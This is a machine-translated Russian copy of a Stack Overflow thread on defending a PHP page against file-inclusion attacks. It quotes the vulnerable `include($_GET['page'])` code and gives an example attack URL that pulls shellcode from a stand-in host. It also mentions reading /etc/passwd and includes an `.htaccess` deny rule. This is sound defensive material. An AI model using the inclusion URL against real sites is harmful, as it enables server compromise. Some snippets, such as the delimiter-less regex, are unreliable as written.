Лучший способ избежать внедрения кода в PHP - PullRequest
22 голосов
/ 02 сентября 2008

Мой сайт недавно был атакован, как мне показалось, невинным кодом:

<?php
  if ( isset( $ _GET['page'] ) ) {
    include( $ _GET['page'] . ".php" );
  } else {
    include("home.php");
  }
?>

Там, где нет вызовов SQL, поэтому я не боялся SQL-инъекций. Но, видимо, SQL - не единственный вид внедрения.

На этом сайте есть объяснение и несколько примеров того, как избежать внедрения кода: http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html

Как бы вы защитили этот код от внедрения кода?

Ответы [ 10 ]

39 голосов
/ 02 сентября 2008

Используйте белый список и убедитесь, что страница находится в белом списке:

  $whitelist = array('home', 'page');

  if (in_array($_GET['page'], $whitelist)) {
        include($_GET['page'].'.php');
  } else {
        include('home.php');
  }
14 голосов
/ 02 сентября 2008

Еще один способ очистки входных данных - убедиться, что в нем присутствуют только разрешенные символы (без "/", ".", ":", ...). Однако не используйте черный список для плохих символов, а белый список для разрешенных символов:

$page = preg_replace('[^a-zA-Z0-9]', '', $page);

... сопровождаемый file_exists.

Таким образом, вы можете убедиться, что выполняются только те сценарии, которые вы хотите выполнить (например, это исключило бы «blabla.inc.php», потому что «.» Не разрешено).

Примечание: это своего рода «взлом», потому что тогда пользователь может выполнить «h.o.m.e», и он выдаст «домашнюю» страницу, потому что все, что он делает - это удаляет все запрещенные символы. Оно не предназначено для того, чтобы помешать «умным людям», которые хотят подшучивать над вашей страницей, но это остановит людей, которые делают очень плохих вещей.

Кстати: еще одна вещь, которую вы можете сделать в файле .htaccess , - предотвратить явные попытки атаки:

RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /–http– [F,NC]
RewriteRule http: /–http– [F,NC]

Таким образом, все обращения к странице с URL-адресом «http:» (и строкой запроса) приводят к сообщению об ошибке «Запрещено», даже не доходя до сценария php. Это приводит к снижению нагрузки на сервер.

Однако имейте в виду, что в строке запроса «http» не допускается. Ваш веб-сайт МОЖЕТ потребовать этого в некоторых случаях (возможно, при заполнении формы).

Кстати: если вы можете читать по-немецки: у меня также есть сообщение в блоге на эту тему.

5 голосов
/ 02 сентября 2008

Пек, есть много вещей, о которых стоит беспокоиться по поводу добавления SQL-инъекций или даже различных типов внедрения кода. Возможно, сейчас самое время немного подробнее изучить безопасность веб-приложений.

Из предыдущего вопроса о переходе от настольного компьютера к веб-разработке я написал:

Руководство OWASP по созданию защищенных веб-приложений и веб-служб должно быть обязательным чтением для любого веб-разработчика, который хочет серьезно относиться к безопасности (который должен быть всеми веб-разработчиками). Есть много принципов, которым нужно следовать, чтобы помочь с мышлением, необходимым для размышлений о безопасности.

Если чтение большого жирного документа не для вас, посмотрите видео семинара, который Майк Эндрюс дал в Google пару лет назад о Как взломать веб-программное обеспечение .

5 голосов
/ 02 сентября 2008

Правило № 1 при принятии пользовательского ввода всегда очищает его. Здесь вы не очищаете переменную GET вашей страницы, прежде чем передать ее в include. Вы должны выполнить базовую проверку, чтобы проверить, существует ли файл на вашем сервере, прежде чем включать его.

4 голосов
/ 02 сентября 2008

Я предполагаю, что вы имеете дело с файлами в одном каталоге:

<?php
if (isset($_GET['page']) && !empty($_GET['page'])) {
  $page = urldecode($_GET['page']);
  $page = basename($page);
  $file = dirname(__FILE__) . "/{$page}.php";
  if (!file_exists($file)) {
    $file = dirname(__FILE__) . '/home.php';
  }
} else {
  $file = dirname(__FILE__) . '/home.php';
}
include $file;
?>

Это не слишком красиво, но должно исправить вашу проблему.

3 голосов
/ 02 сентября 2008

pek, для кратковременного исправления примените одно из решений, предложенных другими пользователями. Для среднесрочного и долгосрочного плана вы должны рассмотреть возможность перехода на одну из существующих веб-платформ. Они обрабатывают все низкоуровневые функции, такие как маршрутизация и включение файлов, надежным и безопасным способом, поэтому вы можете сосредоточиться на основных функциях.

Не изобретайте велосипед заново. Используйте рамки. Любой из них лучше, чем ничего. Первоначальные затраты времени на обучение окупаются практически мгновенно.

1 голос
/ 10 октября 2012

Я знаю, что это очень старый пост, и я ожидаю, что вам больше не нужен ответ, но я все еще скучаю по очень важному аспекту imho, и мне нравится им делиться для других людей, читающих этот пост. В своем коде для включения файла, основанного на значении переменной, вы делаете прямую связь между значением поля и запрошенным результатом (страница становится page.php). Я думаю, что лучше избегать этого. Существует разница между запросом какой-либо страницы и доставкой этой страницы. Если вы сделаете это различие, вы можете использовать хорошие URL-адреса, которые очень удобны для пользователя и SEO. Вместо значения поля, такого как «страница», вы можете создать URL-адрес, такой как «Spinoza-Ethica». Это ключ в белом списке или первичный ключ в таблице из базы данных, который возвращает жестко закодированное имя файла или значение. Этот метод имеет несколько преимуществ, помимо обычного белого списка:

  1. ответ сервера фактически не зависит от запроса интерфейса. Если вы хотите настроить свою серверную систему по-другому, вам не нужно ничего менять на внешнем интерфейсе.

  2. Всегда убедитесь, что вы заканчиваете жестко закодированными именами файлов или эквивалентом из базы данных (предпочтительно возвращаемое значение из хранимой процедуры), потому что это вызывает проблемы, когда вы используете информацию из запроса для построения ответ.

  3. Поскольку ваши URL-адреса не зависят от доставки с серверной части, вам никогда не придется переписывать свои URL-адреса в файле htAccess для такого рода изменений.

  4. URL-адреса, представленные пользователю, являются удобными для пользователя, информируя пользователя о содержании документа.

  5. Хорошие URL-адреса очень хороши для SEO, потому что поисковые системы ищут соответствующий контент, и когда ваш URL-адрес соответствует контенту, он получит более высокую оценку. По крайней мере, лучше, чем когда ваш контент определенно не соответствует вашему контенту.

  6. Если у вас нет прямой ссылки на php-файл, вы можете перевести красивый URL-адрес в любой другой тип запроса перед его обработкой. Это дает программисту гораздо больше гибкости.

  7. Вам придется санировать запрос, потому что вы получаете информацию из стандартного ненадежного источника (остальная часть Интернета). Использование только хороших URL-адресов в качестве возможного ввода значительно упрощает процесс очистки URL-адреса, поскольку вы можете проверить, соответствует ли возвращенный URL-адрес вашему собственному формату. Убедитесь, что формат красивого URL не содержит символов, которые широко используются в эксплойтах (например, ', ", <,>, -, & ,; и т. Д.).

1 голос
/ 02 сентября 2008

Пока что есть несколько хороших ответов, также стоит отметить пару особенностей PHP:

Функции открытия файлов используют оболочки для поддержки различных протоколов. Это включает в себя возможность открывать файлы в локальной сети Windows, HTTP и FTP, среди других. Таким образом, в конфигурации по умолчанию код в исходном вопросе можно легко использовать для открытия любого произвольного файла в Интернете и за его пределами; включая, конечно, все файлы на локальных дисках сервера (которые может прочитать пользователь веб-сервера). /etc/passwd всегда весело.

Безопасный режим и open_basedir могут использоваться для ограничения доступа к файлам за пределами определенного каталога.

Также полезен параметр конфигурации allow_url_fopen, который может отключить доступ к файлам по URL-адресу при использовании функций открытия файлов. ini-set может использоваться для установки и сброса этого значения во время выполнения.

Это все хорошие защитные средства безопасности, но, пожалуйста, используйте белый список для включения файлов.

0 голосов
/ 05 февраля 2013

Думайте об URL в этом формате:

www.yourwebsite.com / index.php? Страница = http://malicodes.com/shellcode.txt

Если shellcode.txt запускает SQL или PHP инъекцию, то ваш сайт будет в опасности, верно? Подумайте об этом, использование белого списка будет полезным.

Существует способ фильтрации всех переменных, чтобы избежать взлома. Вы можете использовать PHP IDS или OSE Security Suite, чтобы избежать взлома. После установки пакета безопасности вам необходимо активировать пакет, вот руководство:

http://www.opensource -excellence.com / магазин / ОСЭ-безопасности люкс / пункт / 414.html

Я бы посоветовал вам включить защиту уровня 2, тогда все переменные POST и GET будут отфильтрованы, особенно та, которую я упомянул, и если обнаружатся атаки, она немедленно сообщит вам /

Безопасность всегда является приоритетом

0 голосов
/ 03 сентября 2008

@ pek - это не сработает, так как ваши ключи массива равны 0 и 1, а не 'home' и 'page'.

Этот код должен помочь, я считаю:

<?php

$whitelist = array(
  'home',
  'page',
);

if(in_array($_GET['page'], $whitelist)) {
  include($_GET['page'] . '.php');
} else {
  include('home.php');
}

?>

Поскольку у вас есть белый список, в file_exists() также не должно быть необходимости.

...